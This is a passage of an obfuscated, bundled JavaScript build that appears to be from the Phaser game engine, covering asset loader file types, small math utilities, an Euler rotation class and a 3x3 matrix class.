'crossOrigin': this['crossOrigin'] }, this['onProcessComplete'](); }, 'load': function () { this['src'] = _0x246a41(this, this['loader']['baseURL']), this['state'] = _0x1f2e14['FILE_LOADED'], this['loader']['nextFile'](this, !0x0); } }); _0x166055['register']('video', function (_0x103a25, _0x26e2a6, _0xc308f3) { if (Array['isArray'](_0x103a25)) { for (var _0x167198 = 0x0; _0x167198 < _0x103a25['length']; _0x167198++)this['addFile'](new _0x2f7bb0(this, _0x103a25[_0x167198])); } else this['addFile'](new _0x2f7bb0(this, _0x103a25, _0x26e2a6, _0xc308f3)); return this; }), _0x134a6d['exports'] = _0x2f7bb0; }, 0xdfe6: (_0xf1ba83, _0x5f0140, _0x273f8a) => { var _0x23169b = _0x273f8a(0x145db), _0x25cce0 = _0x273f8a(0x5d62), _0x2e5176 = _0x273f8a(0xa153), _0xae06e4 = _0x273f8a(0x12173), _0x3b3db4 = _0x273f8a(0x17534), _0x4af464 = _0x273f8a(0xa0fc), _0x2a0ba6 = _0x273f8a(0xde04), _0x1e156f = new _0x23169b({ 'Extends': _0x2e5176, 'initialize': function (_0x25396e, _0x3a198a, _0x4b7e3a, _0x103d4a) { var _0x48b120 = 'xml'; if (_0x4af464(_0x3a198a)) { var _0x5432ad = _0x3a198a; _0x3a198a = _0x3b3db4(_0x5432ad, 'key'), _0x4b7e3a = _0x3b3db4(_0x5432ad, 'url'), _0x103d4a = _0x3b3db4(_0x5432ad, 'xhrSettings'), _0x48b120 = _0x3b3db4(_0x5432ad, 'extension', _0x48b120); } var _0x573f8e = { 'type': 'xml', 'cache': _0x25396e['cacheManager']['xml'], 'extension': _0x48b120, 'responseType': 'text', 'key': _0x3a198a, 'url': _0x4b7e3a, 'xhrSettings': _0x103d4a }; _0x2e5176['call'](this, _0x25396e, _0x573f8e); }, 'onProcess': function () { this['state'] = _0x25cce0['FILE_PROCESSING'], this['data'] = _0x2a0ba6(this['xhrLoader']['responseText']), this['data'] ? this['onProcessComplete']() : this['onProcessError'](); } }); _0xae06e4['register']('xml', function (_0x1c9cf1, _0x18866f, _0x57f62) { if (Array['isArray'](_0x1c9cf1)) { for (var _0x34a7c8 = 0x0; _0x34a7c8 < _0x1c9cf1['length']; _0x34a7c8++)this['addFile'](new _0x1e156f(this, _0x1c9cf1[_0x34a7c8])); } else this['addFile'](new _0x1e156f(this, _0x1c9cf1, _0x18866f, _0x57f62)); return this; }), _0xf1ba83['exports'] = _0x1e156f; }, 0xfc4d: (_0x544644, _0x1b9f51, _0x277567) => { _0x544644['exports'] = { 'AnimationJSONFile': _0x277567(0x3737), 'AsepriteFile': _0x277567(0x129f0), 'AtlasJSONFile': _0x277567(0x974e), 'AtlasXMLFile': _0x277567(0x12367), 'AudioFile': _0x277567(0x5269), 'AudioSpriteFile': _0x277567(0x15db4), 'BinaryFile': _0x277567(0x14eda), 'BitmapFontFile': _0x277567(0x17b01), 'CompressedTextureFile': _0x277567(0x10fb7), 'CSSFile': _0x277567(0x3e98), 'FontFile': _0x277567(0x1567a), 'GLSLFile': _0x277567(0xbb3b), 'HTML5AudioFile': _0x277567(0x15e95), 'HTMLFile': _0x277567(0x15996), 'HTMLTextureFile': _0x277567(0x3933), 'ImageFile': _0x277567(0x4c5e), 'JSONFile': _0x277567(0x206), 'MultiAtlasFile': _0x277567(0xe7bf), 'MultiScriptFile': _0x277567(0x183e1), 'OBJFile': _0x277567(0xa376), 'PackFile': _0x277567(0xe4f2), 'PluginFile': _0x277567(0xbf5c), 'SceneFile': _0x277567(0x15967), 'ScenePluginFile': _0x277567(0xddec), 'ScriptFile': _0x277567(0x8618), 'SpriteSheetFile': _0x277567(0x14c2b), 'SVGFile': _0x277567(0x10745), 'TextFile': _0x277567(0x133b8), 'TilemapCSVFile': _0x277567(0xc145), 'TilemapImpactFile': _0x277567(0x9f67), 'TilemapJSONFile': _0x277567(0xddc7), 'UnityAtlasFile': _0x277567(0x64ab), 'VideoFile': _0x277567(0x83b8), 'XMLFile': _0x277567(0xdfe6) }; }, 0xe1b1: (_0x39cb92, _0x3760c6, _0x8f89dd) => { var _0x668193 = _0x8f89dd(0x5d62), _0x598e36 = _0x8f89dd(0x135bb), _0x224a61 = { 'Events': _0x8f89dd(0xd673), 'FileTypes': _0x8f89dd(0xfc4d), 'File': _0x8f89dd(0xa153), 'FileTypesManager': _0x8f89dd(0x12173), 'GetURL': _0x8f89dd(0x18034), 'LoaderPlugin': _0x8f89dd(0x12215), 'MergeXHRSettings': _0x8f89dd(0xd2e), 'MultiFile': _0x8f89dd(0x673e), 'XHRLoader': _0x8f89dd(0x14998), 'XHRSettings': _0x8f89dd(0x169de) }; _0x224a61 = _0x598e36(!0x1, _0x224a61, _0x668193), _0x39cb92['exports'] = _0x224a61; }, 0xd03b: _0x52d413 => { _0x52d413['exports'] = function (_0x4b63ce) { for (var _0x3cb3f3 = 0x0, _0x1f62dd = 0x0; _0x1f62dd < _0x4b63ce['length']; _0x1f62dd++)_0x3cb3f3 += +_0x4b63ce[_0x1f62dd]; return _0x3cb3f3 / _0x4b63ce['length']; }; }, 0x14ece: (_0x1e4d43, _0x3037ee, _0x2f44a9) => { var _0x1b7be3 = _0x2f44a9(0x190b); _0x1e4d43['exports'] = function (_0x166c6a, _0x23b887) { return _0x1b7be3(_0x166c6a) / _0x1b7be3(_0x23b887) / _0x1b7be3(_0x166c6a - _0x23b887); }; }, 0x7900: _0x31b1a3 => { _0x31b1a3['exports'] = function (_0x52a47b, _0x29fecf) { return Math['floor'](Math['random']() * (_0x29fecf - _0x52a47b + 0x1) + _0x52a47b); }; }, 0x15722: _0x2a9d10 => { _0x2a9d10['exports'] = function (_0x5af19b, _0x17ec12, _0x5983fb, _0x44af38, _0x37f323) { var _0x333fed = 0.5 * (_0x44af38 - _0x17ec12), _0xfc2693 = 0.5 * (_0x37f323 - _0x5983fb), _0x5263cb = _0x5af19b * _0x5af19b; return (0x2 * _0x5983fb - 0x2 * _0x44af38 + _0x333fed + _0xfc2693) * (_0x5af19b * _0x5263cb) + (-0x3 * _0x5983fb + 0x3 * _0x44af38 - 0x2 * _0x333fed - _0xfc2693) * _0x5263cb + _0x333fed * _0x5af19b + _0x5983fb; }; }, 0x66be: _0x2235d1 => { _0x2235d1['exports'] = function (_0x175d32, _0xa86053, _0x4e2a36) { void 0x0 === _0xa86053 && (_0xa86053 = 0x0), void 0x0 === _0x4e2a36 && (_0x4e2a36 = 0xa); var _0x17278e = Math['pow'](_0x4e2a36, -_0xa86053); return Math['ceil'](_0x175d32 * _0x17278e) / _0x17278e; }; }, 0xb107: _0x5aab2c => { _0x5aab2c['exports'] = function (_0x5f53f3, _0x37083d, _0x1c8031) { return Math['max'](_0x37083d, Math['min'](_0x1c8031, _0x5f53f3)); }; }, 0x9a52: (_0x12e822, _0x41671b, _0xcef2b5) => { var _0x4476ae = _0xcef2b5(0x8e1f); _0x12e822['exports'] = function (_0x2a9cf9) { return _0x2a9cf9 * _0x4476ae['DEG_TO_RAD']; }; }, 0xef39: _0x3b63a4 => { _0x3b63a4['exports'] = function (_0x2db2b0, _0x358653) { return Math['abs'](_0x2db2b0 - _0x358653); }; }, 0x97c9: (_0x17e852, _0x51b6f7, _0x1e050d) => { var _0x564d3c = _0x1e050d(0xb107), _0x258a46 = _0x1e050d(0x145db), _0x1d6b1b = _0x1e050d(0x93eb), _0x4edbc2 = _0x1e050d(0x7433), _0x182cf4 = new _0x1d6b1b(), _0x5c2687 = new _0x258a46({ 'initialize': function _0x185755(_0x52c517, _0x231456, _0x1b2c74, _0x3023af) { void 0x0 === _0x52c517 && (_0x52c517 = 0x0), void 0x0 === _0x231456 && (_0x231456 = 0x0), void 0x0 === _0x1b2c74 && (_0x1b2c74 = 0x0), void 0x0 === _0x3023af && (_0x3023af = _0x185755['DefaultOrder']), this['_x'] = _0x52c517, this['_y'] = _0x231456, this['_z'] = _0x1b2c74, this['_order'] = _0x3023af, this['onChangeCallback'] = _0x4edbc2; }, 'x': { 'get': function () { return this['_x']; }, 'set': function (_0x4bebfa) { this['_x'] = _0x4bebfa, this['onChangeCallback'](this); } }, 'y': { 'get': function () { return this['_y']; }, 'set': function (_0x143779) { this['_y'] = _0x143779, this['onChangeCallback'](this); } }, 'z': { 'get': function () { return this['_z']; }, 'set': function (_0x25e8b7) { this['_z'] = _0x25e8b7, this['onChangeCallback'](this); } }, 'order': { 'get': function () { return this['_order']; }, 'set': function (_0x2e952f) { this['_order'] = _0x2e952f, this['onChangeCallback'](this); } }, 'set': function (_0x114242, _0x3668c2, _0x5cca4b, _0x4397ef) { return void 0x0 === _0x4397ef && (_0x4397ef = this['_order']), this['_x'] = _0x114242, this['_y'] = _0x3668c2, this['_z'] = _0x5cca4b, this['_order'] = _0x4397ef, this['onChangeCallback'](this), this; }, 'copy': function (_0x5d002a) { return this['set'](_0x5d002a['x'], _0x5d002a['y'], _0x5d002a['z'], _0x5d002a['order']); }, 'setFromQuaternion': function (_0x534c2d, _0x1114c4, _0x4dc0ea) { return void 0x0 === _0x1114c4 && (_0x1114c4 = this['_order']), void 0x0 === _0x4dc0ea && (_0x4dc0ea = !0x1), _0x182cf4['fromQuat'](_0x534c2d), this['setFromRotationMatrix'](_0x182cf4, _0x1114c4, _0x4dc0ea); }, 'setFromRotationMatrix': function (_0x13931f, _0x44f75d, _0x2b2ac0) { void 0x0 === _0x44f75d && (_0x44f75d = this['_order']), void 0x0 === _0x2b2ac0 && (_0x2b2ac0 = !0x1); var _0x6b1410 = _0x13931f['val'], _0xeb87be = _0x6b1410[0x0], _0x230780 = _0x6b1410[0x4], _0x25bf37 = _0x6b1410[0x8], _0x1b26f2 = _0x6b1410[0x1], _0x9f8892 = _0x6b1410[0x5], _0x3c08e6 = _0x6b1410[0x9], _0x133537 = _0x6b1410[0x2], _0x181089 = _0x6b1410[0x6], _0x27e02d = _0x6b1410[0xa], _0x1c9ef6 = 0x0, _0x6d7c05 = 0x0, _0x486f1d = 0x0, _0x2ed5d6 = 0.99999; switch (_0x44f75d) { case 'XYZ': _0x6d7c05 = Math['asin'](_0x564d3c(_0x25bf37, -0x1, 0x1)), Math['abs'](_0x25bf37) < _0x2ed5d6 ? (_0x1c9ef6 = Math['atan2'](-_0x3c08e6, _0x27e02d), _0x486f1d = Math['atan2'](-_0x230780, _0xeb87be)) : _0x1c9ef6 = Math['atan2'](_0x181089, _0x9f8892); break; case 'YXZ': _0x1c9ef6 = Math['asin'](-_0x564d3c(_0x3c08e6, -0x1, 0x1)), Math['abs'](_0x3c08e6) < _0x2ed5d6 ? (_0x6d7c05 = Math['atan2'](_0x25bf37, _0x27e02d), _0x486f1d = Math['atan2'](_0x1b26f2, _0x9f8892)) : _0x6d7c05 = Math['atan2'](-_0x133537, _0xeb87be); break; case 'ZXY': _0x1c9ef6 = Math['asin'](_0x564d3c(_0x181089, -0x1, 0x1)), Math['abs'](_0x181089) < _0x2ed5d6 ? (_0x6d7c05 = Math['atan2'](-_0x133537, _0x27e02d), _0x486f1d = Math['atan2'](-_0x230780, _0x9f8892)) : _0x486f1d = Math['atan2'](_0x1b26f2, _0xeb87be); break; case 'ZYX': _0x6d7c05 = Math['asin'](-_0x564d3c(_0x133537, -0x1, 0x1)), Math['abs'](_0x133537) < _0x2ed5d6 ? (_0x1c9ef6 = Math['atan2'](_0x181089, _0x27e02d), _0x486f1d = Math['atan2'](_0x1b26f2, _0xeb87be)) : _0x486f1d = Math['atan2'](-_0x230780, _0x9f8892); break; case 'YZX': _0x486f1d = Math['asin'](_0x564d3c(_0x1b26f2, -0x1, 0x1)), Math['abs'](_0x1b26f2) < _0x2ed5d6 ? (_0x1c9ef6 = Math['atan2'](-_0x3c08e6, _0x9f8892), _0x6d7c05 = Math['atan2'](-_0x133537, _0xeb87be)) : _0x6d7c05 = Math['atan2'](_0x25bf37, _0x27e02d); break; case 'XZY': _0x486f1d = Math['asin'](-_0x564d3c(_0x230780, -0x1, 0x1)), Math['abs'](_0x230780) < _0x2ed5d6 ? (_0x1c9ef6 = Math['atan2'](_0x181089, _0x9f8892), _0x6d7c05 = Math['atan2'](_0x25bf37, _0xeb87be)) : _0x1c9ef6 = Math['atan2'](-_0x3c08e6, _0x27e02d); }return this['_x'] = _0x1c9ef6, this['_y'] = _0x6d7c05, this['_z'] = _0x486f1d, this['_order'] = _0x44f75d, _0x2b2ac0 && this['onChangeCallback'](this), this; } }); _0x5c2687['RotationOrders'] = ['XYZ', 'YXZ', 'ZXY', 'ZYX', 'YZX', 'XZY'], _0x5c2687['DefaultOrder'] = 'XYZ', _0x17e852['exports'] = _0x5c2687; }, 0x190b: _0x2c01b0 => { _0x2c01b0['exports'] = function (_0x21b958) { if (0x0 === _0x21b958) return 0x1; for (var _0x473d5f = _0x21b958; --_0x21b958;)_0x473d5f *= _0x21b958; return _0x473d5f; }; }, 0x18490: _0x302bf9 => { _0x302bf9['exports'] = function (_0x13162c, _0x41193d) { return Math['random']() * (_0x41193d - _0x13162c) + _0x13162c; }; }, 0x12f37: _0x34c2d9 => { _0x34c2d9['exports'] = function (_0x40e411, _0x1ccce3, _0x449a93) { void 0x0 === _0x1ccce3 && (_0x1ccce3 = 0x0), void 0x0 === _0x449a93 && (_0x449a93 = 0xa); var _0xe009e7 = Math['pow'](_0x449a93, -_0x1ccce3); return Math['floor'](_0x40e411 * _0xe009e7) / _0xe009e7; }; }, 0xf5e1: (_0xeea230, _0x57855e, _0x54599) => { var _0x5f4e52 = _0x54599(0xb107); _0xeea230['exports'] = function (_0x24fbfa, _0x371c99, _0x503a67) { return (_0x503a67 - _0x371c99) * (_0x24fbfa = _0x5f4e52(_0x24fbfa, 0x0, 0x1)) + _0x371c99; }; }, 0x9579: _0x4d26c8 => { _0x4d26c8['exports'] = function (_0x4d3ca4, _0x577ad3) { return _0x4d3ca4 / _0x577ad3 / 0x3e8; }; }, 0x1336e: _0x29b926 => { _0x29b926['exports'] = function (_0x799680) { return _0x799680 == parseFloat(_0x799680) ? !(_0x799680 % 0x2) : void 0x0; }; }, 0x172a3: _0x22ffb2 => { _0x22ffb2['exports'] = function (_0x588b64) { return _0x588b64 === parseFloat(_0x588b64) ? !(_0x588b64 % 0x2) : void 0x0; }; }, 0x70f3: _0x3f19be => { _0x3f19be['exports'] = function (_0x28fe05, _0x2d12dc, _0x517540) { return (_0x2d12dc - _0x28fe05) * _0x517540 + _0x28fe05; }; }, 0x172bc: _0x561cfe => { _0x561cfe['exports'] = function (_0x274399, _0xdfc9cb, _0x437a8f) { return void 0x0 === _0x437a8f && (_0x437a8f = 0x0), _0x274399['clone']()['lerp'](_0xdfc9cb, _0x437a8f); }; }, 0x170e2: (_0xe9d924, _0x29a0a7, _0x4709bb) => { var _0x453b28 = new (_0x4709bb(0x145db))({ 'initialize': function (_0xfb9549) { this['val'] = new Float32Array(0x9), _0xfb9549 ? this['copy'](_0xfb9549) : this['identity'](); }, 'clone': function () { return new _0x453b28(this); }, 'set': function (_0x207791) { return this['copy'](_0x207791); }, 'copy': function (_0x137508) { var _0x366bf6 = this['val'], _0x19c96d = _0x137508['val']; return _0x366bf6[0x0] = _0x19c96d[0x0], _0x366bf6[0x1] = _0x19c96d[0x1], _0x366bf6[0x2] = _0x19c96d[0x2], _0x366bf6[0x3] = _0x19c96d[0x3], _0x366bf6[0x4] = _0x19c96d[0x4], _0x366bf6[0x5] = _0x19c96d[0x5], _0x366bf6[0x6] = _0x19c96d[0x6], _0x366bf6[0x7] = _0x19c96d[0x7], _0x366bf6[0x8] = _0x19c96d[0x8], this; }, 'fromMat4': function (_0x1193af) { var _0x1e731a = _0x1193af['val'], _0x2c8e4b = this['val']; return _0x2c8e4b[0x0] = _0x1e731a[0x0], _0x2c8e4b[0x1] = _0x1e731a[0x1], _0x2c8e4b[0x2] = _0x1e731a[0x2], _0x2c8e4b[0x3] = _0x1e731a[0x4], _0x2c8e4b[0x4] = _0x1e731a[0x5], _0x2c8e4b[0x5] = _0x1e731a[0x6], _0x2c8e4b[0x6] = _0x1e731a[0x8], _0x2c8e4b[0x7] = _0x1e731a[0x9], _0x2c8e4b[0x8] = _0x1e731a[0xa], this; }, 'fromArray': function (_0x3da40c) { var _0x25232c = this['val']; return _0x25232c[0x0] = _0x3da40c[0x0], _0x25232c[0x1] = _0x3da40c[0x1], _0x25232c[0x2] = _0x3da40c[0x2], _0x25232c[0x3] = _0x3da40c[0x3], _0x25232c[0x4] = _0x3da40c[0x4], _0x25232c[0x5] = _0x3da40c[0x5], _0x25232c[0x6] = _0x3da40c[0x6], _0x25232c[0x7] = _0x3da40c[0x7], _0x25232c[0x8] = _0x3da40c[0x8], this; }, 'identity': function () { var _0x44e106 = this['val']; return _0x44e106[0x0] = 0x1, _0x44e106[0x1] = 0x0, _0x44e106[0x2] = 0x0, _0x44e106[0x3] = 0x0, _0x44e106[0x4] = 0x1, _0x44e106[0x5] = 0x0, _0x44e106[0x6] = 0x0, _0x44e106[0x7] = 0x0, _0x44e106[0x8] = 0x1, this; }, 'transpose': function () { var _0x345832 = this['val'], _0x544ed8 = _0x345832[0x1], _0x56c409 = _0x345832[0x2], _0x469b25 = _0x345832[0x5]; return _0x345832[0x1] = _0x345832[0x3], _0x345832[0x2] = _0x345832[0x6], _0x345832[0x3] = _0x544ed8, _0x345832[0x5] = _0x345832[0x7], _0x345832[0x6] = _0x56c409, _0x345832[0x7] = _0x469b25, this; }, 'invert': function () { var _0x572ad7 = this['val'], _0x4267af = _0x572ad7[0x0], _0x3f05b0 = _0x572ad7[0x1], _0x5885ed = _0x572ad7[0x2], _0x15498b = _0x572ad7[0x3], _0x348856 = _0x572ad7[0x4], _0x1f49a7 = _0x572ad7[0x5], _0x4d5449 = _0x572ad7[0x6], _0x26116a = _0x572ad7[0x7], _0x30fbe8 = _0x572ad7[0x8], _0x23503a = _0x30fbe8 * _0x348856 - _0x1f49a7 * _0x26116a, _0x356aa9 = -_0x30fbe8 * _0x15498b + _0x1f49a7 * _0x4d5449, _0x185d56 = _0x26116a * _0x15498b - _0x348856 * _0x4d5449, _0x1f6d0e = _0x4267af * _0x23503a + _0x3f05b0 * _0x356aa9 + _0x5885ed * _0x185d56; return _0x1f6d0e ? (_0x1f6d0e = 0x1 / _0x1f6d0e, _0x572ad7[0x0] = _0x23503a * _0x1f6d0e, _0x572ad7[0x1] = (-_0x30fbe8 * _0x3f05b0 + _0x5885ed * _0x26116a) * _0x1f6d0e, _0x572ad7[0x2] = (_0x1f49a7 * _0x3f05b0 - _0x5885ed * _0x348856) * _0x1f6d0e, _0x572ad7[0x3] = _0x356aa9 * _0x1f6d0e, _0x572ad7[0x4] = (_0x30fbe8 * _0x4267af - _0x5885ed * _0x4d5449) * _0x1f6d0e, _0x572ad7[0x5] = (-_0x1f49a7 * _0x4267af + _0x5885ed * _0x15498b) * _0x1f6d0e, _0x572ad7[0x6] = _0x185d56 * _0x1f6d0e, _0x572ad7[0x7] = (-_0x26116a * _0x4267af + _0x3f05b0 * _0x4d5449) * _0x1f6d0e, _0x572ad7[0x8] = (_0x348856 * _0x4267af - _0x3f05b0 * _0x15498b) * _0x1f6d0e, this) : null; }, 'adjoint': function () { var _0xf2af0 = this['val'], _0x1985f9 = _0xf2af0[0x0], _0x41ff83 = _0xf2af0[0x1], _0x2e409f = _0xf2af0[0x2], _0x47dd61 = _0xf2af0[0x3], _0xd4cada = _0xf2af0[0x4], _0x10a111 = _0xf2af0[0x5], _0x48717a = _0xf2af0[0x6], _0x31166d = _0xf2af0[0x7], _0x12c861 = _0xf2af0[0x8]; return _0xf2af0[0x0] = _0xd4cada * _0x12c861 - _0x10a111 * _0x31166d, _0xf2af0[0x1] = _0x2e409f * _0x31166d - _0x41ff83 * _0x12c861, _0xf2af0[0x2] = _0x41ff83 * _0x10a111 - _0x2e409f * _0xd4cada, _0xf2af0[0x3] = _0x10a111 * _0x48717a - _0x47dd61 * _0x12c861, _0xf2af0[0x4] = _0x1985f9 * _0x12c861 - _0x2e409f * _0x48717a, _0xf2af0[0x5] = _0x2e409f * _0x47dd61 - _0x1985f9 * _0x10a111, _0xf2af0[0x6] = _0x47dd61 * _0x31166d - _0xd4cada * _0x48717a, _0xf2af0[0x7] = _0x41ff83 * _0x48717a - _0x1985f9 * _0x31166d, _0xf2af0[0x8] = _0x1985f9 * _0xd4cada - _0x41ff83 * _0x47dd61, this; }, 'determinant': function () { var _0x5622f3 = this['val'], _0x33edb0 = _0x5622f3[0x0], _0x244926 = _0x5622f3[0x1], _0x5ed9a1 = _0x5622f3[0x2], _0x196392 = _0x5622f3[0x3], _0x453efb = _0x5622f3[0x4], _0x179382 = _0x5622f3[0x5], _0xd1f10c = _0x5622f3[0x6], _0x4d99f3 = _0x5622f3[0x7], _0x402464 = _0x5622f3[0x8]; return _0x33edb0 * (_0x402464 * _0x453efb - _0x179382 * _0x4d99f3) + _0x244926 * (-_0x402464 * _0x196392 + _0x179382 * _0xd1f10c) + _0x5ed9a1 * (_0x4d99f3 * _0x196392 - _0x453efb * _0xd1f10c); }, 'multiply': function (_0x226e10) { var _0x5cde6e = this['val'], _0x44c138 = _0x5cde6e[0x0], _0x1dc216 = _0x5cde6e[0x1], _0x25c031 = _0x5cde6e[0x2], _0x1da208 = _0x5cde6e[0x3], _0xcf0e3c = _0x5cde6e[0x4], _0x1ae9f0 = _0x5cde6e[0x5], _0x289d63 = _0x5cde6e[0x6], _0x141c83 = _0x5cde6e[0x7], _0x4eb340 = _0x5cde6e[0x8], _0x581bb9 = _0x226e10['val'], _0x3d2373 = _0x581bb9[0x0], _0x5c1cac = _0x581bb9[0x1], _0xe8aa74 = _0x581bb9[0x2], _0x241e86 = _0x581bb9[0x3], _0x468b4a = _0x581bb9[0x4], _0xf10894 = _0x581bb9[0x5], _0x566f01 = _0x581bb9[0x6], _0x46c2f4 = _0x581bb9[0x7], _0x2a0d71 = _0x581bb9[0x8]; return _0x5cde6e[0x0] = _0x3d2373 * _0x44c138 + _0x5c1cac * _0x1da208 + _0xe8aa74 * _0x289d63, _0x5cde6e[0x1] = _0x3d2373 * _0x1dc216 + _0x5c1cac * _0xcf0e3c + _0xe8aa74 * _0x141c83, _0x5cde6e[0x2] = _0x3d2373 * _0x25c031 + _0x5c1cac * _0x1ae9f0 + _0xe8aa74 * _0x4eb340, _0x5cde6e[0x3] = _0x241e86 * _0x44c138 + _0x468b4a * _0x1da208 + _0xf10894 * _0x289d63, _0x5cde6e[0x4] = _0x241e86 * _0x1dc216 + _0x468b4a * _0xcf0e3c + _0xf10894 * _0x141c83, _0x5cde6e[0x5] = _0x241e86 * _0x25c031 + _0x468b4a * _0x1ae9f0 + _0xf10894 * _0x4eb340, _0x5cde6e[0x6] = _0x566f01 * _0x44c138 + _0x46c2f4 * _0x1da208 + _0x2a0d71 * _0x289d63, _0x5cde6e[0x7] = _0x566f01 * _0x1dc216 + _0x46c2f4 * _0xcf0e3c + _0x2a0d71 * _0x141c83, _0x5cde6e[0x8] = _0x566f01 * _0x25c031 + _0x46c2f4 * _0x1ae9f0 + _0x2a0d71 * _0x4eb340, this; }, 'translate': function (_0x1d9e2d) { var _0x449b91 = this['val'], _0x1e3c25 = _0x1d9e2d['x'], _0x3ac30c = _0x1d9e2d['y']; return _0x449b91[0x6] = _0x1e3c25 * _0x449b91[0x0] + _0x3ac30c * _0x449b91[0x3] + _0x449b91[0x6], _0x449b91[0x7] = _0x1e3c25 * _0x449b91[0x1] + _0x3ac30c * _0x449b91[0x4] + _0x449b91[0x7], _0x449b91[0x8] = _0x1e3c25 * _0x449b91[0x2] + _0x3ac30c * _0x449b91[0x5] + _0x449b91[0x8], this; }, 'rotate': function (_0x4e1eda) { var _0x1938d7 = this['val'], _0x3b4550 = _0x1938d7[0x0], _0x12a692 = _0x1938d7[0x1], _0x50a79f = _0x1938d7[0x2], _0x9bc6fe = _0x1938d7[0x3], _0x49f1f7 = _0x1938d7[0x4], _0x64835c = _0x1938d7[0x5], _0xb39738 = Math['sin'](_0x4e1eda), _0x49e1c5 = Math['cos'](_0x4e1eda); return _0x1938d7[0x0] = _0x49e1c5 * _0x3b4550 + _0xb39738 * _0x9bc6fe, _0x1938d7[0x1] = _0x49e1c5 * _0x12a692 + _0xb39738 * _0x49f1f7, _0x1938d7[0x2] = _0x49e1c5 * _0x50a79f + _0xb39738 * _0x64835c, _0x1938d7[0x3] = _0x49e1c5 * _0x9bc6fe - _0xb39738 * _0x3b4550, _0x1938d7[0x4] = _0x49e1c5 * _0x49f1f7 - _0xb39738 * _0x12a692, _0x1938d7[0x5] = _0x49e1c5 * _0x64835c - _0xb39738 * _0x50a79f, this; }, 'scale': function (_0x333f3f) { var _0x5a45a1 = this['val'], _0x20f796 = _0x333f3f['x'], _0x5f39e5 = _0x333f3f['y']; return _0x5a45a1[0x0] = _0x20f796 * _0x5a45a1[0x0], _0x5a45a1[0x1] = _0x20f796 * _0x5a45a1[0x1], _0x5a45a1[0x2] = _0x20f796 * _0x5a45a1[0x2], _0x5a45a1[0x3] = _0x5f39e5 * _0x5a45a1[0x3], _0x5a45a1[0x4] = _0x5f39e5 * _0x5a45a1[0x4], _0x5a45a1[0x5] = _0x5f39e5 * _0x5a45a1[0x5], this; }, 'fromQuat': function (_0x488b1f) { var _0x4721ad = _0x488b1f['x'], _0x2db9d9 = _0x488b1f['y'], _0x1914b1 = _0x488b1f['z'], _0x4c28cf = _0x488b1f['w'], _0x547508 = _0x4721ad + _0x4721ad, _0x4325b2 = _0x2db9d9 + _0x2db9d9, _0x58a0f2 = _0x1914b1 + _0x1914b1, _0x4e8273 = _0x4721ad * _0x547508, _0x1f2f9f = _0x4721ad * _0x4325b2, _0xb524de = _0x4721ad * _0x58a0f2, _0x5ef671 = _0x2db9d9 * _0x4325b2, _0x35e460 = _0x2db9d9 * _0x58a0f2, _0x327f2d = _0x1914b1 * _0x58a0f2, _0x349f4a = _0x4c28cf * _0x547508, _0x5ef409 = _0x4c28cf * _0x4325b2, _0x33bbc0 = _0x4c28cf * _0x58a0f2, _0x5ebf1e = this['val']; return _0x5ebf1e[0x0] = 0x1 - (_0x5ef671 + _0x327f2d), _0x5ebf1e[0x3] = _0x1f2f9f + _0x33bbc0, _0x5ebf1e[0x6] = _0xb524de - _0x5ef409, _0x5ebf1e[0x1] = _0x1f2f9f - _0x33bbc0, _0x5ebf1e[0x4] = 0x1 - (_0x4e8273 + _0x327f2d), _0x5ebf1e[0x7] = _0x35e460 + _0x349f4a, _0x5ebf1e[0x2] = _0xb524de + _0x5ef409, _0x5ebf1e[0x5] = _0x35e460 - _0x349f4a, _0x5ebf1e[0x8] = 0x1 - (_0x4e8273 + _0x5ef671), this; }, 'normalFromMat4': function (_0x48626c) { var _0x5d7d96 = _0x48626c['val'], _0x2389e7 = this['val'], _0x1a925f = _0x5d7d96[0x0], _0x37866e = _0x5d7d96[0x1], _0x5e4592 = _0x5d7d96[0x2], _0x26de10 = _0x5d7d96[0x3], _0x2d31c2 = _0x5d7d96[0x4], _0x3b540c = _0x5d7d96[0x5], _0x5b9060 = _0x5d7d96[0x6], _0x240b20 = _0x5d7d96[0x7], _0x4eed68 = _0x5d7d96[0x8], _0xb8cc7 = _0x5d7d96[0x9], _0x539b97 = _0x5d7d96[0xa], _0x469016 = _0x5d7d96[0xb], _0x5dfe9a = _0x5d7d96[0xc], _0x331d9 = _0x5d7d96[0xd], _0x4594a6 = _0x5d7d96[0xe], _0x23686e = _0x5d7d96[0xf], _0x5add84 = _0x1a925f * _0x3b540c - _0x37866e * _0x2d31c2, _0x4dd8ff = _0x1a925f * _0x5b9060 - _0x5e4592 * _0x2d31c2, _0x5b9ec3 = _0x1a925f * _0x240b20 - _0x26de10 * _0x2d31c2, _0x3eba8c = _0x37866e * _0x5b9060 - _0x5e4592 * _0x3b540c, _0x4e1a76 = _0x37866e * _0x240b20 - _0x26de10 * _0x3b540c, _0x3f832f = _0x5e4592 * _0x240b20 - _0x26de10 * _0x5b9060, _0x209b8f = _0x4eed68 * _0x331d9 - _0xb8cc7 * _0x5dfe9a, _0x57de92 = _0x4eed68 * _0x4594a6 - _0x539b97 * _0x5dfe9a, _0x247fc2 = _0x4eed68 * _0x23686e - _0x469016 * _0x5dfe9a, _0x48b8c0 = _0xb8cc7 * _0x4594a6 - _0x539b97 * _0x331d9, _0x2a9a2e = _0xb8cc7 * _0x23686e - _0x469016 * _0x331d9, _0x4240b0 = _0x539b97 * _0x23686e - _0x469016 * _0x4594a6, _0x345852 = _0x5add84 * _0x4240b0 - _0x4dd8ff * _0x2a9a2e + _0x5b9ec3 * _0x48b8c0 + _0x3eba8c * _0x247fc2 - _0x4e1a76 * _0x57de92 + _0x3f832f * _0x209b8f; return _0x345852 ? (_0x345852 = 0x1 / _0x345852, _0x2389e7[0x0] = (_0x3b540c * _0x4240b0 - _0x5b9060 * _0x2a9a2e + _0x240b20 * _0x48b8c0) * _0x345852, _0x2389e7[0x1] = (_0x5b9060 * _0x247fc2 - _0x2d31c2 * _0x4240b0 - _0x240b20 * _0x57de92) * _0x345852, _0x2389e7[0x2] = (_0x2d31c2 * _0x2a9a2e - _0x3b540c * _0x247fc2 + _0x240b20 * _0x209b8f) * _0x345852, _0x2389e7[0x3] = (_0x5e4592 * _0x2a9a2e - _0x37866e * _0x4240b0 - _0x26de10 * _0x48b8c0) * _0x345852, _0x2389e7[0x4] = (_0x1a925f * _0x4240b0 - _0x5e4592 * _0x247fc2 + _0x26de10 * _0x57de92) * _0x345852, _0x2389e7[0x5] = (_0x37866e * _0x247fc2 - _0x1a925f * _0x2a9a2e - _0x26de10 * _0x209b8f) * _0x345852, _0x2389e7[0x6] = (_0x331d9 * _0x3f832f - _0x4594a6 * _0x4e1a76 + _0x23686e * _0x3eba8c) * _0x345852, 